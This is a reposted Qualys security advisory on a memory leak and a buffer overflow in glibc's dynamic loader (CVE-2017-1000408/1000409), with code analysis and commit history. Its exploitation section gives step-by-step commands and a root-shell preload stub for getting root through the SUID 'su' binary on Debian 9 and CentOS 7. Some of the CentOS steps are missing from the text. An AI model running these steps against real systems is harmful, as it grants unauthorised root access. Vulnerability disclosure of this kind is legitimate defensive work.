glibc ld.so - Memory Leak / Buffer Overflow

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glibc ld.so - Memory Leak / Buffer Overflow

来源：qualys.com 作者：Qualys 发布时间：2017-12-14

Qualys Security Advisory

Buffer overflow in glibc's ld.so

========================================================================
Contents
========================================================================

Summary
Memory Leak
Buffer Overflow
Exploitation
Acknowledgments

========================================================================
Summary
========================================================================

We have discovered a memory leak and a buffer overflow in the dynamic
loader (ld.so) of the GNU C Library (glibc):

- the memory leak (CVE-2017-1000408) first appeared in glibc 2.1.1
(released on May 24, 1999) and can be reached and amplified through
the LD_HWCAP_MASK environment variable;

- the buffer overflow (CVE-2017-1000409) first appeared in glibc 2.5
(released on September 29, 2006) and can be triggered through the
LD_LIBRARY_PATH environment variable.

Further investigation showed that:

- the buffer overflow is not exploitable if
/proc/sys/fs/protected_hardlinks is enabled (it is not enabled by
default on vanilla Linux kernels, but most Linux distributions turn it
on by default);

- the memory leak and the buffer overflow are not exploitable if the
glibc is patched against CVE-2017-1000366, because this patch ignores
the LD_HWCAP_MASK and LD_LIBRARY_PATH environment variables when SUID
binaries are executed (CVE-2017-1000366 was first patched in glibc
2.26, released on August 2, 2017, but most Linux distributions had
already backported this patch on June 19, 2017).

We have therefore rated the impact of these vulnerabilities as Low.
Nevertheless, we give a brief analysis of the vulnerable function, and
present a simple method for exploiting a SUID binary on the command line
and obtaining full root privileges (if /proc/sys/fs/protected_hardlinks
is not enabled, and CVE-2017-1000366 is not patched).

========================================================================
Memory Leak (CVE-2017-1000408)
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

In _dl_init_paths(), ld.so malloc()ates "rtld_search_dirs.dirs[0]", a
cache of information about the system's trusted directories (typically
"/lib" and "/usr/lib" on 32-bit or "/lib64" and "/usr/lib64" on 64-bit).
To compute the number of system directories, ld.so uses the classic C
idiom "sizeof (system_dirs) / sizeof (system_dirs[0])":

691   rtld_search_dirs.dirs[0] = (struct r_search_path_elem *)
692     malloc ((sizeof (system_dirs) / sizeof (system_dirs[0]))
693             * round_size * sizeof (struct r_search_path_elem));

Unfortunately, "system_dirs" is not a classic array: it is not an array
of strings (pointers to characters), but rather an array of characters,
the concatenation of all system directories, separated by null bytes:

109 static const char system_dirs[] = SYSTEM_DIRS;

where "SYSTEM_DIRS" is generated by "gen-trusted-dirs.awk" (typically
"/lib/\0/usr/lib/" on 32-bit or "/lib64/\0/usr/lib64/" on 64-bit). As a
result, the number of system directories is overestimated, and too much
memory is allocated for "rtld_search_dirs.dirs[0]": if "system_dirs" is
"/lib/\0/usr/lib/" for example, the number of system directories is 2,
but 16 is used instead (the number of characters in "system_dirs") to
compute the size of "rtld_search_dirs.dirs[0]".

This extra memory is never accessed, never freed, and mostly filled with
null bytes, because only the information about "nsystem_dirs_len" system
directories (the correct number of system directories) is written to
"rtld_search_dirs.dirs[0]", and because the minimal malloc()
implementation in ld.so calls mmap(), but never munmap().

Moreover, this memory leak can be amplified through the LD_HWCAP_MASK
environment variable, because ld.so uses "ncapstr" (the total number of
hardware-capability combinations) to compute the size of
"rtld_search_dirs.dirs[0]":

687   round_size = ((2 * sizeof (struct r_search_path_elem) - 1
688                  + ncapstr * sizeof (enum r_dir_status))
689                 / sizeof (struct r_search_path_elem));

------------------------------------------------------------------------
History
------------------------------------------------------------------------

We tracked down this vulnerability to:

commit ab7eb292307152e706948a7b19164ff5e6d593d4
Date: Mon May 3 21:59:35 1999 +0000

Update.

        * elf/Makefile (trusted-dirs.st): Use gen-trusted-dirs.awk.
        * elf/gen-trusted-dirs.awk: New file.
        * elf/dl-load.c (systems_dirs): Moved into file scope. Initialize
        from SYSTEM_DIRS macro.
        (system_dirs_len): New variable. Contains lengths of system_dirs
        strings.
        (fillin_rpath): Rewrite for systems_dirs being a simple string.
        Improve string comparisons. Change parameter trusted to be a flag.
        Change all callers.
        (_dt_init_paths): Improve using new format for system_dirs.

which transformed "system_dirs" from an array of strings (pointers to
characters) into an array of characters:

- static const char *system_dirs[] =
- {
-#include "trusted-dirs.h"
- NULL
- };
...
+static const char system_dirs[] = SYSTEM_DIRS;

========================================================================
Buffer Overflow (CVE-2017-1000409)
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

In _dl_init_paths(), ld.so computes "nllp", the number of
colon-separated directories in "llp" (the LD_LIBRARY_PATH environment
variable), malloc()ates "env_path_list.dirs", an array of "nllp + 1"
pointers to "r_search_path_elem" structures (one for each directory in
"llp", plus a terminating NULL pointer), and calls fillin_rpath() to
fill in "env_path_list.dirs":

777   if (llp != NULL && *llp != '\0')
778     {
779       size_t nllp;
780       const char *cp = llp;
781       char *llp_tmp;
...
803       nllp = 1;
804       while (*cp)
805         {
806           if (*cp == ':' || *cp == ';')
807             ++nllp;
808           ++cp;
809         }
810
811       env_path_list.dirs = (struct r_search_path_elem **)
812         malloc ((nllp + 1) * sizeof (struct r_search_path_elem *));
...
819       (void) fillin_rpath (llp_tmp, env_path_list.dirs, ":;",
820                            __libc_enable_secure, "LD_LIBRARY_PATH",
821                            NULL, l);

Unfortunately, ld.so parses the "llp" string to compute "nllp" but
parses the "llp_tmp" string (an expanded copy of "llp") to fill in
"env_path_list.dirs". As a result, the number of pointers written to
"env_path_list.dirs" can be greater than "nllp + 1" (an mmap()-based
buffer overflow) if the contents of "llp_tmp" differ from the contents
of "llp" (if "llp_tmp" contains more colons than "llp"):

784       /* Expand DSTs. */
785       size_t cnt = DL_DST_COUNT (llp, 1);
786       if (__glibc_likely (cnt == 0))
787         llp_tmp = strdupa (llp);
788       else
789         {
790           /* Determine the length of the substituted string. */
791           size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);
792
793           /* Allocate the necessary memory. */
794           llp_tmp = (char *) alloca (total + 1);
795           llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);
796         }

The Dynamic String Tokens (DSTs) $LIB and $PLATFORM are expanded to
fixed strings that do not contain colons (typically "lib" and "i686" on
32-bit or "lib64" and "x86_64" on 64-bit), but the expansion of $ORIGIN
(the directory of the binary being executed) can inject extra colons
into "llp_tmp" and hence extra pointers into "env_path_list.dirs".

To exploit this buffer overflow, a local attacker must therefore be able
to:

- hard-link a SUID binary into a directory whose pathname contains
colons (i.e., /proc/sys/fs/protected_hardlinks must not be enabled);

- pass the LD_LIBRARY_PATH environment variable to _dl_init_paths()
(i.e., CVE-2017-1000366 must not be patched).

------------------------------------------------------------------------
History
------------------------------------------------------------------------

We tracked down this vulnerability to:

commit 950398e1320255572f4228db94344dcd5f613455
Date: Tue Aug 29 01:44:27 2006 +0000

* elf/dl-load.c (_dl_init_paths): Expand DSTs.

which added the expansion of llp's Dynamic String Tokens (DSTs) to
_dl_init_paths():

-      char *llp_tmp = strdupa (llp);
+      char *llp_tmp;
...
+      /* Expand DSTs. */
+      size_t cnt = DL_DST_COUNT (llp, 1);
+      if (__builtin_expect (cnt == 0, 1))
+       llp_tmp = strdupa (llp);
+      else
+       {
+         /* Determine the length of the substituted string. */
+         size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);
+
+         /* Allocate the necessary memory. */
+         llp_tmp = (char *) alloca (total + 1);
+         llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);
+       }

========================================================================
Exploitation
========================================================================

------------------------------------------------------------------------
Debian 9 (i386)
------------------------------------------------------------------------

In this example, we exploit the SUID-root binary "su" on a 32-bit Debian
9.0: we installed "debian-9.0.0-i386-xfce-CD-1.iso" (the last release
before glibc's CVE-2017-1000366 was patched), and manually disabled
protected_hardlinks ("echo 0 > /proc/sys/fs/protected_hardlinks").

1/ First, we identify the system's trusted directories (the only
directories accepted by fillin_rpath() when executing a SUID binary):

$ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head
      1607:     find library=nonexistent [0]; searching
      1607:      search cache=/etc/ld.so.cache
      1607:      search path=/lib/i386-linux-gnu/tls/i686:/lib/i386-linux-gnu/tls:/lib/i386-linux-gnu/i686:/lib/i386-linux-gnu:/usr/lib/i386-linux-gnu/tls/i686:/usr/lib/i386-linux-gnu/tls:/usr/lib/i386-linux-gnu/i686:/usr/lib/i386-linux-gnu:/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib            (system search path)
      1607:       trying file=/lib/i386-linux-gnu/tls/i686/nonexistent
      1607:       trying file=/lib/i386-linux-gnu/tls/nonexistent
      1607:       trying file=/lib/i386-linux-gnu/i686/nonexistent
      1607:       trying file=/lib/i386-linux-gnu/nonexistent
      1607:       trying file=/usr/lib/i386-linux-gnu/tls/i686/nonexistent
      1607:       trying file=/usr/lib/i386-linux-gnu/tls/nonexistent
      1607:       trying file=/usr/lib/i386-linux-gnu/i686/nonexistent

The "system search path" line shows four system directories:
"/lib/i386-linux-gnu", "/usr/lib/i386-linux-gnu", "/lib", and "/usr/lib"
("tls" and "i686" are default hardware capabilities that are enabled
even if LD_HWCAP_MASK is 0).

2/ Second, we create our $ORIGIN directory and hard-link the SUID-root
binary "su" into it:

$ mkdir -p '/var/tmp/:/lib:/usr/lib:'

$ cd '/var/tmp/:/lib:/usr/lib:'

$ ln `which su` .

The pathname of our $ORIGIN directory contains two system directories:
we will write 12 bytes (3 pointers: one for each system directory, plus
a terminating NULL pointer) to an 8-byte "env_path_list.dirs" ("nllp" is
only 1, because our unexpanded LD_LIBRARY_PATH does not contain colons).
In other words, we will overflow "env_path_list.dirs" and write 4 bytes
(the terminating NULL pointer) out of bounds.

3/ Third, we overwrite this out-of-bounds NULL pointer with the first
bytes of an error message ("cannot open shared object file") that is
malloc()ated after "env_path_list.dirs" because of our "nonexistent"
preload library. Consequently, ld.so crashes when open_path() tries to
open our second preload library "rootshell.so" in a directory described
by an "r_search_path_elem" structure located at the unmapped address
0x6e6e6163 (the overwritten NULL pointer):

$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

$ dmesg | tail -n 1
[70632.888695] su[2293]: segfault at 6e6e6173 ip b77e1c43 sp bfc946dc error 4 in ld-2.24.so[b77db000+22000]

The "/../../../../../../../../$LIB" suffix is required, to pass the
"check_for_trusted" test in _dl_dst_substitute() (our expanded
LD_LIBRARY_PATH must be rooted in one of the system's trusted
directories).

4/ Next, we copy the library dependencies of "su" to our current working
directory, and compile our preload library "rootshell.so" ("la.c" can be
found at the beginning of our stack-clash exploit "Linux_ldso_hwcap.c"):

$ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` .

$ cat > la.c << "EOF"
> static void __attribute__ ((constructor)) _init (void) {
>     ...
>     // setuid(0);
>     ...
>     // execve("/bin/sh");
>     ...
> }
> EOF
$ gcc -fpic -shared -nostdlib -Os -s -o rootshell.so la.c

$ chmod u+s rootshell.so

This "chmod" is required, to pass the SUID-bit test in open_path().

5/ Last, we run "su" with an increasing number of hardware capabilities
(i.e., with an increasingly large "rtld_search_dirs.dirs[0]"), until the
"rtld_search_dirs.dirs[0]" occupies the address 0x6e6e6163. Because this
"rtld_search_dirs.dirs[0]" is mostly filled with null bytes, and because
an "r_search_path_elem" structure filled with null bytes is equivalent
to the current working directory in open_path(), ld.so will eventually
load and execute our "rootshell.so" from the current working directory:

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<16)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m0.715s
user    0m0.120s
sys     0m0.588s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<17)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m1.443s
user    0m0.368s
sys     0m1.072s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<18)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m2.840s
user    0m0.656s
sys     0m2.172s

...

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<23)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m5.778s
user    0m1.200s
sys     0m4.576s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<24)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m11.589s
user    0m2.520s
sys     0m9.060s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
# id; exit
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)

real    0m28.050s
user    0m6.140s
sys     0m21.892s

6/ Improvements in the running time of this exploit are left as an
exercise for the interested reader:

$ env -i LD_LIBRARY_PATH=. LD_PRELOAD=nonexistent LD_HWCAP_MASK="$(((1<<25)-1))" LD_DEBUG=libs env 2>&1 | head -c 1000
3084: find library=nonexistent [0]; searching
3084: search path=./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mc

$ mkdir -p './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu'

$ mv -- *.so* './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu'

real    0m23.485s
user    0m5.244s
sys     0m18.220s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='os-release:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'os-release' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.
# id; exit
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)

real    0m11.352s
user    0m2.844s
sys     0m8.388s

------------------------------------------------------------------------
CentOS 7 (i386)
------------------------------------------------------------------------

In this example, we exploit "su" on a 32-bit CentOS 7.3.1611: we
installed "CentOS-7-i386-Minimal-1611.iso" (the last release before
CVE-2017-1000366 was patched), and manually disabled protected_hardlinks
("echo 0 > /proc/sys/fs/protected_hardlinks").

$ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head
     17896:     find library=nonexistent [0]; searching
     17896:      search cache=/etc/ld.so.cache
     17896:      search path=/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib                (system search path)
     17896:       trying file=/lib/tls/i686/nonexistent
     17896:       trying file=/lib/tls/nonexistent
     17896:       trying file=/lib/i686/nonexistent
     17896:       trying file=/lib/nonexistent
     17896:       trying file=/usr/lib/tls/i686/nonexistent
     17896:       trying file=/usr/lib/tls/nonexistent
     17896:       trying file=/usr/lib/i686/nonexistent

$ mkdir -p '/var/tmp/:/lib:/usr/lib:'

$ cd '/var/tmp/:/lib:/usr/lib:'

$ ln `which su` .

$ dmesg | tail -n 1
[ 8414.911000] su[18088]: segfault at 6e6e6173 ip b77645e2 sp bfe0cb40 error 4 in ld-2.17.so[b775f000+1f000]

$ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` .

$ chmod u+s rootshell.so

real    0m0.527s
user    0m0.085s
sys     0m0.441s

real    0m1.060s
user    0m0.182s
sys     0m0.877s

real    0m2.093s
user    0m0.384s
sys     0m1.702s

...

real    0m17.071s
user    0m2.525s
sys     0m14.537s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<26)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m33.926s
user    0m5.464s
sys     0m28.429s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<27)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
sh-4.2# id; exit
uid=0(root) gid=0(root) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

real    1m30.604s
user    0m16.169s
sys     1m14.395s

========================================================================
Acknowledgments
========================================================================

We thank the members of the linux-distros@openwall list.

[